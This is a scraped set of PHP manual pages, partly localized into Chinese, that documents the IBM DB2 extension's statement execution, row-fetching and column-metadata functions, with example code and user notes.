db2_execute(resource $stmt, array $parameters = []): bool

db2_execute() executes an SQL statement that was prepared by db2_prepare().

If the SQL statement returns a result set, for example, a SELECT statement or a CALL to a stored procedure that returns one or more result sets, you can retrieve a row as an array from the stmt resource using db2_fetch_assoc(), db2_fetch_both(), or db2_fetch_array(). Alternatively, you can use db2_fetch_row() to move the result set pointer to the next row and fetch a column at a time from that row with db2_result().

Refer to db2_prepare() for a brief discussion of the advantages of using db2_prepare() and db2_execute() rather than db2_exec().

参数

stmt

A prepared statement returned from db2_prepare().

parameters

An array of input parameters matching any parameter markers contained in the prepared statement.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Preparing and executing an SQL statement with parameter markers

The following example prepares an INSERT statement that accepts four parameter markers, then iterates over an array of arrays containing the input values to be passed to db2_execute().

<?php
$pet = array(0, 'cat', 'Pook', 3.2);

$insert = 'INSERT INTO animals (id, breed, name, weight)
VALUES (?, ?, ?, ?)';

$stmt = db2_prepare($conn, $insert);
if ($stmt) {
$result = db2_execute($stmt, $pet);
if ($result) {
print "Successfully added new pet.";
}
}
?>

以上示例会输出：

Successfully added new pet.

Example #2 Calling a stored procedure with an OUT parameter

The following example prepares a CALL statement that accepts one parameter marker representing an OUT parameter, binds the PHP variable $my_pets to the parameter using db2_bind_param(), then issues db2_execute() to execute the CALL statement. After the CALL to the stored procedure has been made, the value of $num_pets changes to reflect the value returned by the stored procedure for that OUT parameter.

<?php
$num_pets = 0;
$res = db2_prepare($conn, "CALL count_my_pets(?)");
$rc = db2_bind_param($res, 1, "num_pets", DB2_PARAM_OUT);
$rc = db2_execute($res);
print "I have $num_pets pets!";
?>

以上示例会输出：

I have 7 pets!

Example #3 Returning XML data as an SQL ResultSet

The following example demonstrates how to work with documents stored in a XML column using the SAMPLE database. Using some pretty simple SQL/XML, this example returns some of the nodes in a XML document in an SQL ResultSet format that most users are familiar with.

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = 'SELECT * FROM XMLTABLE(
XMLNAMESPACES (DEFAULT \'http://posample.org\'),
\'db2-fn:xmlcolumn("CUSTOMER.INFO")/customerinfo\'
COLUMNS
"CID" VARCHAR (50) PATH \'@Cid\',
"NAME" VARCHAR (50) PATH \'name\',
"PHONE" VARCHAR (50) PATH \'phone [ @type = "work"]\'
) AS T
WHERE NAME = ?
';

$stmt = db2_prepare($conn, $query);

$name = 'Kathy Smith';

if ($stmt) {
db2_bind_param($stmt, 1, "name", DB2_PARAM_IN);
db2_execute($stmt);

while($row = db2_fetch_object($stmt)){
printf("$row->CID $row->NAME $row->PHONE\n");
}
}
db2_close($conn);

?>

以上示例会输出：

1000     Kathy Smith     416-555-1358
1001     Kathy Smith     905-555-7258

Example #4 Performing a "JOIN" with XML data

The following example works with documents stored in 2 different XML columns in the SAMPLE database. It creates 2 temporary tables from the XML documents from 2 different columns and returns an SQL ResultSet with information regarding shipping status for the customer.

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = '
SELECT A.CID, A.NAME, A.PHONE, C.PONUM, C.STATUS
FROM
XMLTABLE(
XMLNAMESPACES (DEFAULT \'http://posample.org\'),
\'db2-fn:xmlcolumn("CUSTOMER.INFO")/customerinfo\'
COLUMNS
"CID" BIGINT PATH \'@Cid\',
"NAME" VARCHAR (50) PATH \'name\',
"PHONE" VARCHAR (50) PATH \'phone [ @type = "work"]\'
) as A,
PURCHASEORDER AS B,
XMLTABLE (
XMLNAMESPACES (DEFAULT \'http://posample.org\'),
\'db2-fn:xmlcolumn("PURCHASEORDER.PORDER")/PurchaseOrder\'
COLUMNS
"PONUM" BIGINT PATH \'@PoNum\',
"STATUS" VARCHAR (50) PATH \'@Status\'
) as C
WHERE A.CID = B.CUSTID AND
B.POID = C.PONUM AND
A.NAME = ?
';

$stmt = db2_prepare($conn, $query);

$name = 'Kathy Smith';

if ($stmt) {
db2_bind_param($stmt, 1, "name", DB2_PARAM_IN);
db2_execute($stmt);

while($row = db2_fetch_object($stmt)){
printf("$row->CID $row->NAME $row->PHONE $row->PONUM $row->STATUS\n");
}
}

db2_close($conn);

?>

以上示例会输出：

1001     Kathy Smith     905-555-7258     5002     Shipped

Example #5 Returning SQL data as part of a larger XML document

The following example works with a portion of the PRODUCT.DESCRIPTION documents in the SAMPLE database. It creates a XML document containing product description (XML data) and pricing info (SQL data).

<?php

$conn = db2_connect("SAMPLE", "db2inst1", "ibmdb2");

$query = '
SELECT
XMLSERIALIZE(
XMLQUERY(\'
declare boundary-space strip;
declare default element namespace "http://posample.org";
<promoList> {
for $prod in $doc/product
where $prod/description/price < 10.00
order by $prod/description/price ascending
return(
<promoitem> {
$prod,
<startdate> {$start} </startdate>,
<enddate> {$end} </enddate>,
<promoprice> {$promo} </promoprice>
} </promoitem>
)
} </promoList>
\' passing by ref DESCRIPTION AS "doc",
PROMOSTART as "start",
PROMOEND as "end",
PROMOPRICE as "promo"
RETURNING SEQUENCE)
AS CLOB (32000))
AS NEW_PRODUCT_INFO
FROM PRODUCT
WHERE PID = ?
';

$stmt = db2_prepare($conn, $query);

$pid = "100-100-01";

if ($stmt) {
db2_bind_param($stmt, 1, "pid", DB2_PARAM_IN);
db2_execute($stmt);

while($row = db2_fetch_array($stmt)){
printf("$row[0]\n");
}
}

db2_close($conn);

?>

以上示例会输出：

<promoList xmlns="http://posample.org">
    <promoitem>
    <product pid="100-100-01">
        <description>
            <name>Snow Shovel, Basic 22 inch</name>
            <details>Basic Snow Shovel, 22 inches wide, straight handle with D-Grip</details>
            <price>9.99</price>
            <weight>1 kg</weight>
        </description>
    </product>
    <startdate>2004-11-19</startdate>
    <enddate>2004-12-19</enddate>
    <promoprice>7.25</promoprice>
    </promoitem>
</promoList>

参见

  • db2_exec() - Executes an SQL statement directly
  • db2_fetch_array() - Returns an array, indexed by column position, representing a row in a result set
  • db2_fetch_assoc() - Returns an array, indexed by column name, representing a row in a result set
  • db2_fetch_both() - Returns an array, indexed by both column name and position, representing a row in a result set
  • db2_fetch_row() - Sets the result set pointer to the next row or requested row
  • db2_prepare() - Prepares an SQL statement to be executed
  • db2_result() - Returns a single column from a row in the result set

User Contributed Notes

stefanov at uk dot ibm dot com 20-Jan-2016 07:26
You CANNOT bind parameters for table and/or column names. Binding parameters only works for values:

YES: $sqlQuery = "UPDATE ".TB_NAME." SET ".CN_NAME." = ? WHERE DAY = ?";
NO: $sqlQuery = "UPDATE ? SET ? = ? WHERE DAY = ?";

Any attempt to bind column or table names will result in the following error during db2_execute():
PHP Warning:  db2_bind_param(): Describe Param Failed in ...


Returns an array, indexed by column position, representing a row in a result set

  • ? db2_execute
  • db2_fetch_assoc ?
  • PHP Manual
  • IBM DB2 函数
  • Returns an array, indexed by column position, representing a row in a result set

db2_fetch_array

(PECL ibm_db2 >= 1.0.1)

db2_fetch_array — Returns an array, indexed by column position, representing a row in a result set

说明

db2_fetch_array(resource $stmt, int $row_number = -1): array|false

Returns an array, indexed by column position, representing a row in a result set. The columns are 0-indexed.

参数

stmt

A valid stmt resource containing a result set.

row_number

Requests a specific 1-indexed row from the result set. Passing this parameter results in a PHP warning if the result set uses a forward-only cursor.

返回值

Returns a 0-indexed array with column values indexed by the column position representing the next or requested row in the result set. Returns false if there are no rows left in the result set, or if the row requested by row_number does not exist in the result set.

示例

Example #1 Iterating through a forward-only cursor

If you call db2_fetch_array() without a specific row number, it automatically retrieves the next row in the result set.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$stmt = db2_prepare($conn, $sql);
$result = db2_execute($stmt);

while ($row = db2_fetch_array($stmt)) {
printf ("%-5d %-16s %-32s %10s\n",
$row[0], $row[1], $row[2], $row[3]);
}
?>

以上示例会输出：

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

Example #2 Retrieving specific rows with db2_fetch_array() from a scrollable cursor

If your result set uses a scrollable cursor, you can call db2_fetch_array() with a specific row number. The following example retrieves every other row in the result set, starting with the second row.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$result = db2_exec($stmt, $sql, array('cursor' => DB2_SCROLLABLE));

$i=2;
while ($row = db2_fetch_array($result, $i)) {
printf ("%-5d %-16s %-32s %10s\n",
$row[0], $row[1], $row[2], $row[3]);
$i = $i + 2;
}
?>

以上示例会输出：

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

参见

  • db2_fetch_assoc() - Returns an array, indexed by column name, representing a row in a result set
  • db2_fetch_both() - Returns an array, indexed by both column name and position, representing a row in a result set
  • db2_fetch_object() - Returns an object with properties representing columns in the fetched row
  • db2_fetch_row() - Sets the result set pointer to the next row or requested row
  • db2_result() - Returns a single column from a row in the result set

User Contributed Notes

There are no user contributed notes for this page.


Returns an array, indexed by column name, representing a row in a result set

  • ? db2_fetch_array
  • db2_fetch_both ?
  • PHP Manual
  • IBM DB2 函数
  • Returns an array, indexed by column name, representing a row in a result set

db2_fetch_assoc

(PECL ibm_db2 >= 1.0.0)

db2_fetch_assoc — Returns an array, indexed by column name, representing a row in a result set

说明

db2_fetch_assoc(resource $stmt, int $row_number = -1): array|false

Returns an array, indexed by column name, representing a row in a result set.

参数

stmt

A valid stmt resource containing a result set.

row_number

Requests a specific 1-indexed row from the result set. Passing this parameter results in a PHP warning if the result set uses a forward-only cursor.

返回值

Returns an associative array with column values indexed by the column name representing the next or requested row in the result set. Returns false if there are no rows left in the result set, or if the row requested by row_number does not exist in the result set.

示例

Example #1 Iterating through a forward-only cursor

If you call db2_fetch_assoc() without a specific row number, it automatically retrieves the next row in the result set.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$stmt = db2_prepare($conn, $sql);
$result = db2_execute($stmt);

while ($row = db2_fetch_assoc($stmt)) {
printf ("%-5d %-16s %-32s %10s\n",
$row['ID'], $row['NAME'], $row['BREED'], $row['WEIGHT']);
}
?>

以上示例会输出：

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

Example #2 Retrieving specific rows with db2_fetch_assoc() from a scrollable cursor

If your result set uses a scrollable cursor, you can call db2_fetch_assoc() with a specific row number. The following example retrieves every other row in the result set, starting with the second row.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$result = db2_exec($stmt, $sql, array('cursor' => DB2_SCROLLABLE));

$i=2;
while ($row = db2_fetch_assoc($result, $i)) {
printf ("%-5d %-16s %-32s %10s\n",
$row['ID'], $row['NAME'], $row['BREED'], $row['WEIGHT']);
$i = $i + 2;
}
?>

以上示例会输出：

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

参见

  • db2_fetch_array() - Returns an array, indexed by column position, representing a row in a result set
  • db2_fetch_both() - Returns an array, indexed by both column name and position, representing a row in a result set
  • db2_fetch_object() - Returns an object with properties representing columns in the fetched row
  • db2_fetch_row() - Sets the result set pointer to the next row or requested row
  • db2_result() - Returns a single column from a row in the result set

User Contributed Notes

There are no user contributed notes for this page.


Returns an array, indexed by both column name and position, representing a row in a result set

  • ? db2_fetch_assoc
  • db2_fetch_object ?
  • PHP Manual
  • IBM DB2 函数
  • Returns an array, indexed by both column name and position, representing a row in a result set

db2_fetch_both

(PECL ibm_db2 >= 1.0.0)

db2_fetch_both — Returns an array, indexed by both column name and position, representing a row in a result set

说明

db2_fetch_both(resource $stmt, int $row_number = -1): array|false

Returns an array, indexed by both column name and position, representing a
row in a result set. Note that the row returned by
db2_fetch_both() requires more memory than the
single-indexed arrays returned by db2_fetch_assoc() or
db2_fetch_array().

参数

stmt

A valid stmt resource containing a result set.

row_number

Requests a specific 1-indexed row from the result set. Passing this parameter results in a PHP warning if the result set uses a forward-only cursor.

返回值

Returns an associative array with column values indexed by both the column name and 0-indexed column number. The array represents the next or requested row in the result set. Returns false if there are no rows left in the result set, or if the row requested by row_number does not exist in the result set.

示例

Example #1 Iterating through a forward-only cursor

If you call db2_fetch_both() without a specific row number, it automatically retrieves the next row in the result set. The following example accesses columns in the returned array by both column name and by numeric index.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$stmt = db2_prepare($conn, $sql);
$result = db2_execute($stmt);

while ($row = db2_fetch_both($stmt)) {
printf ("%-5d %-16s %-32s %10s\n",
$row['ID'], $row[0], $row['BREED'], $row[3]);
}
?>

以上示例会输出：

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

Example #2 Retrieving specific rows with db2_fetch_both() from a scrollable cursor

If your result set uses a scrollable cursor, you can call db2_fetch_both() with a specific row number. The following example retrieves every other row in the result set, starting with the second row.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$result = db2_exec($stmt, $sql, array('cursor' => DB2_SCROLLABLE));

$i=2;
while ($row = db2_fetch_both($result, $i)) {
printf ("%-5d %-16s %-32s %10s\n",
$row[0], $row['NAME'], $row[2], $row['WEIGHT']);
$i = $i + 2;
}
?>

以上示例会输出：

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

参见

  • db2_fetch_array() - Returns an array, indexed by column position, representing a row in a result set
  • db2_fetch_assoc() - Returns an array, indexed by column name, representing a row in a result set
  • db2_fetch_object() - Returns an object with properties representing columns in the fetched row
  • db2_fetch_row() - Sets the result set pointer to the next row or requested row
  • db2_result() - Returns a single column from a row in the result set

User Contributed Notes

eacosta at openware dot biz 05-Jun-2008 08:55
Hello,

Some weeks ago I faced difficulties with walk a big number of
records from a result set.

I was using the function db2_fetch_both in a method of a database adapter
class to retrieve just one record at a time. The total number of records
were: 5647 and when I reach record number 1600 the function crashed
generating the below message in "Actual result" field.

I am copying table's description next:

TMP_TABLE
-----------------------------------------------------------------
| ID        | TYPE        | SIZE        | NULL        |
-----------------------------------------------------------------
| ID        | INTEGER    | 4        | NO        |
| SERVICE    | VARCHAR    | 30        | NO        |
| ID_v        | VARCHAR    | 30        | NO        |
| INFORMATION    | CLOB        | 65536        | YES        |
| EXP_LEVEL    | INTEGER    | 4        | NO        |
| IP4B        | BIGINT    | 8        | NO        |
| MODIFIED    | INTEGER    | 4        | YES        |
| DETAIL    | VARCHAR    | 200        | YES        |
| FALSPOS    | INTEGER    | 4        | YES        |
-----------------------------------------------------------------

When it crashed I received this message from db2_fetch_both

db2_fetch_array() [function.db2-fetch-array]: Fetch Failure

After reported this message to IBM OpenDev I was helped by a OpenDev IBMer who noticed me
that it wasn't a ibm_db2 module problem, in fact it was a database configuration
issue. The OpenDev IBMer looked into my DB2 Client CLI TRACE files and found out what was happen.
So I had to modify APP_CTL_HEAP_SZ and everything seems to works fine now.

--
Esteban Acosta Villafa?e
Area I+D
http://www.openware.biz/opendev
Linkein Profile: http://www.linkedin.com/in/estebanav


Returns an object with properties representing columns in the fetched row

  • ? db2_fetch_both
  • db2_fetch_row ?
  • PHP Manual
  • IBM DB2 函数
  • Returns an object with properties representing columns in the fetched row

db2_fetch_object

(PECL ibm_db2 >= 1.0.0)

db2_fetch_object — Returns an object with properties representing columns in the fetched row

说明

db2_fetch_object(resource $stmt, int $row_number = -1): stdClass|false

Returns an object in which each property represents a column returned in the row fetched from a result set.

参数

stmt

A valid stmt resource containing a result set.

row_number

Requests a specific 1-indexed row from the result set. Passing this parameter results in a PHP warning if the result set uses a forward-only cursor.

返回值

Returns an object representing a single row in the result set. The properties of the object map to the names of the columns in the result set.

The IBM DB2, Cloudscape, and Apache Derby database servers typically fold column names to upper-case, so the object properties will reflect that case.

If your SELECT statement calls a scalar function to modify the value of a column, the database servers return the column number as the name of the column in the result set. If you prefer a more descriptive column name and object property, you can use the AS clause to assign a name to the column in the result set.

Returns false if no row was retrieved.

示例

Example #1 A db2_fetch_object() example

The following example issues a SELECT statement with a scalar function, RTRIM, that removes whitespace from the end of the column. Rather than creating an object with the properties "BREED" and "2", we use the AS clause in the SELECT statement to assign the name "name" to the modified column. The database server folds the column names to upper-case, resulting in an object with the properties "BREED" and "NAME".

<?php
$conn = db2_connect($database, $user, $password);

$sql = "SELECT breed, RTRIM(name) AS name
FROM animals
WHERE id = ?";

if ($conn) {
$stmt = db2_prepare($conn, $sql);
db2_execute($stmt, array(0));

while ($pet = db2_fetch_object($stmt)) {
echo "Come here, {$pet->NAME}, my little {$pet->BREED}!";
}
db2_close($conn);
}
?>

以上示例会输出：

Come here, Pook, my little cat!

参见

  • db2_fetch_array() - Returns an array, indexed by column position, representing a row in a result set
  • db2_fetch_assoc() - Returns an array, indexed by column name, representing a row in a result set
  • db2_fetch_both() - Returns an array, indexed by both column name and position, representing a row in a result set
  • db2_fetch_row() - Sets the result set pointer to the next row or requested row
  • db2_result() - Returns a single column from a row in the result set

User Contributed Notes

There are no user contributed notes for this page.


Sets the result set pointer to the next row or requested row

  • ? db2_fetch_object
  • db2_field_display_size ?
  • PHP Manual
  • IBM DB2 函数
  • Sets the result set pointer to the next row or requested row

db2_fetch_row

(PECL ibm_db2 >= 1.0.0)

db2_fetch_row — Sets the result set pointer to the next row or requested row

说明

db2_fetch_row(resource $stmt, int $row_number = -1): bool

Use db2_fetch_row() to iterate through a result set, or to point to a specific row in a result set if you requested a scrollable cursor.

To retrieve individual fields from the result set, call the db2_result() function.

Rather than calling db2_fetch_row() and db2_result(), most applications will call one of db2_fetch_assoc(), db2_fetch_both(), or db2_fetch_array() to advance the result set pointer and return a complete row as an array.

参数

stmt

A valid stmt resource.

row_number

With scrollable cursors, you can request a specific row number in the result set. Row numbering is 1-indexed.

返回值

Returns true if the requested row exists in the result set. Returns false if the requested row does not exist in the result set.

示例

Example #1 Iterating through a result set

The following example demonstrates how to iterate through a result set with db2_fetch_row() and retrieve columns from the result set with db2_result().

<?php
$sql = 'SELECT name, breed FROM animals WHERE weight < ?';
$stmt = db2_prepare($conn, $sql);
db2_execute($stmt, array(10));
while (db2_fetch_row($stmt)) {
$name = db2_result($stmt, 0);
$breed = db2_result($stmt, 1);
print "$name $breed";
}
?>

以上示例会输出：

cat Pook
gold fish Bubbles
budgerigar Gizmo
goat Rickety Ride

Example #2 i5/OS recommended alternatives to db2_fetch_row/db2_result

On i5/OS it is recommended that you use db2_fetch_both(), db2_fetch_array(), or db2_fetch_object() over db2_fetch_row()/db2_result(). In general db2_fetch_row()/db2_result() have more issues with various column types in EBCIDIC to ASCII translation, including possible truncation in DBCS applications. You may also find the performance of db2_fetch_both(), db2_fetch_array(), and db2_fetch_object() to be superior to db2_fetch_row()/db2_result().

<?php
$conn = db2_connect("","","");
$sql = 'SELECT SPECIFIC_SCHEMA, SPECIFIC_NAME, ROUTINE_SCHEMA, ROUTINE_NAME, ROUTINE_TYPE, ROUTINE_CREATED, ROUTINE_BODY, IN_PARMS, OUT_PARMS, INOUT_PARMS, PARAMETER_STYLE, EXTERNAL_NAME, EXTERNAL_LANGUAGE FROM QSYS2.SYSROUTINES FETCH FIRST 2 ROWS ONLY';
$stmt = db2_exec($conn, $sql, array('cursor' => DB2_SCROLLABLE));
while ($row = db2_fetch_both($stmt)){
echo "<br>db2_fetch_both {$row['SPECIFIC_NAME']} {$row['ROUTINE_CREATED']} {$row[5]}";
}
$stmt = db2_exec($conn, $sql, array('cursor' => DB2_SCROLLABLE));
while ($row = db2_fetch_array($stmt)){
echo "<br>db2_fetch_array {$row[1]} {$row[5]}";
}
$stmt = db2_exec($conn, $sql, array('cursor' => DB2_SCROLLABLE));
while ($row = db2_fetch_object($stmt)){
echo "<br>db2_fetch_object {$row->SPECIFIC_NAME} {$row->ROUTINE_CREATED}";
}
db2_close($conn);
?>

以上示例会输出：

db2_fetch_both MATCH_ANIMAL 2006-08-25-17.10.23.775000 2006-08-25-17.10.23.775000
db2_fetch_both MULTIRESULTS 2006-10-17-10.11.05.308000 2006-10-17-10.11.05.308000
db2_fetch_array MATCH_ANIMAL 2006-08-25-17.10.23.775000
db2_fetch_array MULTIRESULTS 2006-10-17-10.11.05.308000
db2_fetch_object MATCH_ANIMAL 2006-08-25-17.10.23.775000
db2_fetch_object MULTIRESULTS 2006-10-17-10.11.05.308000

参见

  • db2_fetch_array() - Returns an array, indexed by column position, representing a row in a result set
  • db2_fetch_assoc() - Returns an array, indexed by column name, representing a row in a result set
  • db2_fetch_both() - Returns an array, indexed by both column name and position, representing a row in a result set
  • db2_fetch_object() - Returns an object with properties representing columns in the fetched row
  • db2_result() - Returns a single column from a row in the result set

User Contributed Notes

krisdover at hotmail dot com 21-Jan-2007 12:54
if the second parameter (the row number) is specified, your connection needs to have the CURSOR option set to DB2_SCROLLABLE. Otherwise all calls to this function will fail. Internal to the ibm_db2 extension module the db2cli api function SQLFetchScroll() generates the error "CLI0145E  Fetch type out of range" since it requires a scrollable resultset to work, instead of the default forward only resultset.

hope this saves someone the time it took me to track this down in the db2cli traces.

Regards,
Kris Dover
andrey at php dot net 26-Nov-2005 01:11
If the second parameter is 0 or NULL (which eventually evaluates to 0) then the internal pointer is moved forward. < 0 value will return an warning.


Returns the maximum number of bytes required to display a column

  • ? db2_fetch_row
  • db2_field_name ?
  • PHP Manual
  • IBM DB2 函数
  • Returns the maximum number of bytes required to display a column

db2_field_display_size

(PECL ibm_db2 >= 1.0.0)

db2_field_display_size — Returns the maximum number of bytes required to display a column

说明

db2_field_display_size(resource $stmt, int|string $column): int|false

Returns the maximum number of bytes required to display a column in a result set.

参数

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

返回值

Returns an integer value with the maximum number of bytes required to display the specified column. If the column does not exist in the result set, db2_field_display_size() returns false.

参见

  • db2_field_name() - Returns the name of the column in the result set
  • db2_field_num() - Returns the position of the named column in a result set
  • db2_field_precision() - Returns the precision of the indicated column in a result set
  • db2_field_scale() - Returns the scale of the indicated column in a result set
  • db2_field_type() - Returns the data type of the indicated column in a result set
  • db2_field_width() - Returns the width of the current value of the indicated column in a result set

User Contributed Notes

There are no user contributed notes for this page.


Returns the name of the column in the result set

  • ? db2_field_display_size
  • db2_field_num ?
  • PHP Manual
  • IBM DB2 函数
  • Returns the name of the column in the result set

db2_field_name

(PECL ibm_db2 >= 1.0.0)

db2_field_name — Returns the name of the column in the result set

说明

db2_field_name(resource $stmt, int|string $column): string|false

Returns the name of the specified column in the result set.

参数

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

返回值

Returns a string containing the name of the specified column. If the specified column does not exist in the result set, db2_field_name() returns false.

参见

  • db2_field_display_size() - Returns the maximum number of bytes required to display a column
  • db2_field_num() - Returns the position of the named column in a result set
  • db2_field_precision() - Returns the precision of the indicated column in a result set
  • db2_field_scale() - Returns the scale of the indicated column in a result set
  • db2_field_type() - Returns the data type of the indicated column in a result set
  • db2_field_width() - Returns the width of the current value of the indicated column in a result set

User Contributed Notes

andryzulfikar at gmail dot com 28-Jun-2012 08:14
example:

<?php
// select all fields from salay table
$sql = "SELECT * FROM SALARY";

$stmt = db2_prepare($conn,$sql);

if(db2_execute($stmt)){
    $columns = db2_num_fields($stmt);
    for($i=0;$i<$columns;$i++){
        $fieldName[] = db2_field_name($stmt,$i);
    }
    print_r($fieldName);
}else{
    echo db2_stmt_errormsg();
}

/* output
* Array ( [0] => ID [1] => USERID [2] => VALUE )
*/
?>


Returns the position of the named column in a result set

  • ? db2_field_name
  • db2_field_precision ?
  • PHP Manual
  • IBM DB2 函数
  • Returns the position of the named column in a result set

db2_field_num

(PECL ibm_db2 >= 1.0.0)

db2_field_num — Returns the position of the named column in a result set

说明

db2_field_num(resource $stmt, int|string $column): int|false

Returns the position of the named column in a result set.

参数

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

返回值

Returns an integer containing the 0-indexed position of the named column in the result set. If the specified column does not exist in the result set, db2_field_num() returns false.

参见

  • db2_field_display_size() - Returns the maximum number of bytes required to display a column
  • db2_field_name() - Returns the name of the column in the result set
  • db2_field_precision() - Returns the precision of the indicated column in a result set
  • db2_field_scale() - Returns the scale of the indicated column in a result set
  • db2_field_type() - Returns the data type of the indicated column in a result set
  • db2_field_width() - Returns the width of the current value of the indicated column in a result set

User Contributed Notes

There are no user contributed notes for this page.


Returns the precision of the indicated column in a result set

  • ? db2_field_num
  • db2_field_scale ?
  • PHP Manual
  • IBM DB2 函数
  • Returns the precision of the indicated column in a result set

db2_field_precision

(PECL ibm_db2 >= 1.0.0)

db2_field_precision — Returns the precision of the indicated column in a result set

说明

db2_field_precision(resource $stmt, int|string $column): int|false

Returns the precision of the indicated column in a result set.

参数

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

返回值

Returns an integer containing the precision of the specified column. If the specified column does not exist in the result set, db2_field_precision() returns false.

参见

  • db2_field_display_size() - Returns the maximum number of bytes required to display a column
  • db2_field_name() - Returns the name of the column in the result set
  • db2_field_num() - Returns the position of the named column in a result set
  • db2_field_scale() - Returns the scale of the indicated column in a result set
  • db2_field_type() - Returns the data type of the indicated column in a result set
  • db2_field_width() - Returns the width of the current value of the indicated column in a result set

User Contributed Notes

There are no user contributed notes for this page.


Returns the scale of the indicated column in a result set

  • ? db2_field_precision
  • db2_field_type ?
  • PHP Manual
  • IBM DB2 函数
  • Returns the scale of the indicated column in a result set

db2_field_scale

(PECL ibm_db2 >= 1.0.0)

db2_field_scale — Returns the scale of the indicated column in a result set

说明

db2_field_scale(resource $stmt, int|string $column): int|false

Returns the scale of the indicated column in a result set.

参数

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

返回值

Returns an integer containing the scale of the specified column. If the specified column does not exist in the result set, db2_field_scale() returns false.

参见

  • db2_field_display_size() - Returns the maximum number of bytes required to display a column
  • db2_field_name() - Returns the name of the column in the result set
  • db2_field_num() - Returns the position of the named column in a result set
  • db2_field_precision() - Returns the precision of the indicated column in a result set
  • db2_field_type() - Returns the data type of the indicated column in a result set
  • db2_field_width() - Returns the width of the current value of the indicated column in a result set

User Contributed Notes

There are no user contributed notes for this page.


Returns the data type of the indicated column in a result set

  • ? db2_field_scale
  • db2_field_width ?
  • PHP Manual
  • IBM DB2 函数
  • Returns the data type of the indicated column in a result set

db2_field_type

(PECL ibm_db2 >= 1.0.0)

db2_field_type — Returns the data type of the indicated column in a result set

说明

db2_field_type(resource $stmt, int|string $column): string|false

Returns the data type of the indicated column in a result set.

参数

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

返回值

Returns a string containing the defined data type of the specified column. If the specified column does not exist in the result set, db2_field_type() returns false.

参见

  • db2_field_display_size() - Returns the maximum number of bytes required to display a column
  • db2_field_name() - Returns the name of the column in the result set
  • db2_field_num() - Returns the position of the named column in a result set
  • db2_field_precision() - Returns the precision of the indicated column in a result set
  • db2_field_scale() - Returns the scale of the indicated column in a result set
  • db2_field_width() - Returns the width of the current value of the indicated column in a result set

User Contributed Notes

There are no user contributed notes for this page.


Returns the width of the current value of the indicated column in a result set

  • ? db2_field_type
  • db2_foreign_keys ?
  • PHP Manual
  • IBM DB2 函数
  • Returns the width of the current value of the indicated column in a result set

db2_field_width

(PECL ibm_db2 >= 1.0.0)

db2_field_width — Returns the width of the current value of the indicated column in a result set

说明

db2_field_width(resource $stmt, int|string $column): int|false

Returns the width of the current value of the indicated column in a result set. This is the maximum width of the column for a fixed-length data type, or the actual width of the column for a variable-length data type.

参数

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

返回值

Returns an integer containing the width of the specified character or binary data type column in a result set. If the specified column does not exist in the result set, db2_field_width() returns false.

参见

  • db2_field_display_size() - Returns the maximum number of bytes required to display a column
  • db2_field_name() - Returns the name of the column in the result set
  • db2_field_num() - Returns the position of the named column in a result set
  • db2_field_precision() - Returns the precision of the indicated column in a result set
  • db2_field_scale() - Returns the scale of the indicated column in a result set
  • db2_field_type() - Returns the data type of the indicated column in a result set

User Contributed Notes

There are no user contributed notes for this page.


Returns a result set listing the foreign keys for a table

  • ? db2_field_width
  • db2_free_result ?
  • PHP Manual
  • IBM DB2 函数
  • Returns a result set listing the foreign keys for a table

db2_foreign_keys

(PECL ibm_db2 >= 1.0.0)

db2_foreign_keys — Returns a result set listing the foreign keys for a table

说明

db2_foreign_keys(
resource $connection,
?string $qualifier,
?string $schema,
string $table_name
): resource

Returns a result set listing the foreign keys for a table.

参数

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass null or an empty string.

schema

The schema which contains the tables. If schema is null, db2_foreign_keys() matches the schema for the current connection.

table_name

The name of the table.

返回值

Returns a statement resource with a result set containing rows describing the foreign keys for the specified table. The result set is composed of the following columns:

Column name | Description
PKTABLE_CAT | Name of the catalog for the table containing the primary key. The value is NULL if this table does not have catalogs.
PKTABLE_SCHEM | Name of the schema for the table containing the primary key.
PKTABLE_NAME | Name of the table containing the primary key.
PKCOLUMN_NAME | Name of the column containing the primary key.
FKTABLE_CAT | Name of the catalog for the table containing the foreign key. The value is NULL if this table does not have catalogs.
FKTABLE_SCHEM | Name of the schema for the table containing the foreign key.
FKTABLE_NAME | Name of the table containing the foreign key.
FKCOLUMN_NAME | Name of the column containing the foreign key.
KEY_SEQ | 1-indexed position of the column in the key.
UPDATE_RULE | Integer value representing the action applied to the foreign key when the SQL operation is UPDATE.
